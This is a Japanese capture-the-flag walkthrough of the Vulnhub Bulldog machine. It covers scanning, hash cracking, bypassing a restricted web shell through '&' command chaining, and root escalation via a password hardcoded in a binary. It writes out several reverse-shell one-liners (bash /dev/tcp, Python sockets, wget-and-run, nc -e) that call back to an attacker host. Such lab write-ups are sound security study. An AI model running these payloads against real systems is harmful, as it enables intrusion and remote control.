ツールと脆弱性情報#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- linux 逆シェル
- wget ファイルダウンロード
- linux の string コマンド
- sudo -l ユーザーが実行可能なコマンドを表示
** 一部のツールの使い方と詳細な説明はこのシリーズの第一篇の記事を参照してください:bossplayersCTF:1-Vulnhub Walkthrough **
0x00 情報収集#
ターゲットマシンのスキャン情報#
netdiscover
の-r
パラメータで192.168.1.0/16
をスキャンした結果は以下の通りです:
nmap
でホストとポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.158
WSGI:正式名称は Web Server Gateway Interface で、WSGI はサーバー、python モジュール、フレームワーク、API、またはその他のソフトウェアではなく、webserver が web application と通信する方法を記述する規範です。
パスのスキャン#
dirb
でパスをスキャン:
dirb http://192.168.1.158
dirsearch
でスキャンした結果はdirb
の全てを含んでいないようです。もちろん辞書の問題もあるかもしれません。
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8
gobuster
のスキャンもあまり効果的ではありません:
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
パスへのアクセス#
/admin
ディレクトリはdjango
の管理者ログイン画面で、一般的な弱いパスワードは通用しません。
/dev
画面にはいくつかの開発者のメールアドレスがあり、全て会社のメールを使用しています。
ウェブページのソースコードを確認すると、いくつかのユーザーのパスワードハッシュ値が見えます:
また、海外のバッチハッシュクラックサイトhashkillerも使用できます。
ただし、このサイトはグローバルを有効にする必要があります、あなたは理解していますよね。
解読されたアカウントとパスワードのペアは:nick/bulldog
とsara/bulldoglover
です。
非常に明らかなweb-shell
ボタンはdev/shell
にリダイレクトされます。
しかし、画面には認証が必要と表示されています:
ここではまだ記事を書くことはできません。
0x01 シェルを取得#
ディレクトリの基本的なアクセスが完了したので、解読したアカウントとパスワードを使用して/admin
管理者画面にログインを試みます。
2 つのアカウントとパスワードのペアでログインした後の画面は、何も編集する権限がないと表示されます。
手がかりがないように見えますが、元々認証が必要と表示されていた/dev/shell
画面に再度アクセスすると、
それは静かに変化していました。
ページの指示に従って、リストされた数コマンドのみを実行できます。
しかし、& を使用して複数のコマンドを結合することができるので、制限を回避できます。
次に、kali
上でリスニングを開始し、いくつかの一般的なshell
逆シェルの方法を試みます。
nc -lvp 4444
bash
を使用した逆シェル
pwd&bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
bash -i はインタラクティブな bash 環境を生成します。
0>&1 は標準入力と標準出力を結合し、前の標準出力にリダイレクトします。
実際には逆シェルは成功しませんでした。
python
を使用した逆シェル
一行のpython
でshell
を起動しようとします:
pwd&python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
以下のようなメッセージが表示されます:
INVALID COMMAND. I CAUGHT YOU HACKER! ';' CAN BE USED TO EXECUTE MULTIPLE COMMANDS!!
;
がフィルタリングされており、インタラクティブな場所でコマンドを直接実行できません。そこで、スクリプトに入れます。
python -c "import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);"
これをpython-shell.py
として保存し、apache2
のデフォルトディレクトリ/var/www/html
に移動します。
apache2
サービスを開始します:service apache2 start
web-shell
画面で実行:
pwd&wget http://192.168.1.6/python-shell.py
pwd&python python-shell.py
私の実験でも成功しませんでしたが、他の人は成功しました。
nc
を使用した逆シェル(ターゲットマシンに nc が必要)
nc -e /bin/bash 192.168.1.6 4444
echo
を使用した逆シェル(成功)
echo 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1' | bash
0x02 root 権限の昇格#
home ディレクトリに
bulldogadmin
というディレクトリがあることがわかりましたので、まずこのディレクトリを確認します。結果として、ls
コマンドを実行したときに何も見つかりませんでしたが、ls -a
を実行すると、隠しフォルダが見つかりました。
私たちはこの.hiddenadmindirectory
フォルダに入り、コメントファイルを見つけました:
file
コマンドでこのユーザーファイルが何であるかを確認します:
ELF
ファイルであることがわかりました。ELF
ファイルは簡単に言うと、Linux の主要な実行可能ファイル形式です。
strings customPermissionApp
を実行すると、多くの文字列が表示され、その中に私の注意を引く部分がありました:
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
私たちのプログラムには、strings
コマンドで見つけたハードコーディングされたパスワードがあります。
H が行の終わりまたは何らかの端の部分であると仮定すると、私たちはパスワードSUPERultimatePASSWORDyouCANTget
を得ました。
大胆に推測すると、これはnote
に記載されているdjango
ユーザーのパスワードです。
上記のスキャンで得た情報によると、ssh
ポートは 23 にあるので、直接ssh
接続します:
ssh -p 23 django@192.168.1.8
接続後、sudo su
でroot
ユーザーに切り替え、django
ユーザーのパスワードだけで成功し、rootシェル
を取得しました。
この記事はここで終了です。
参考記事: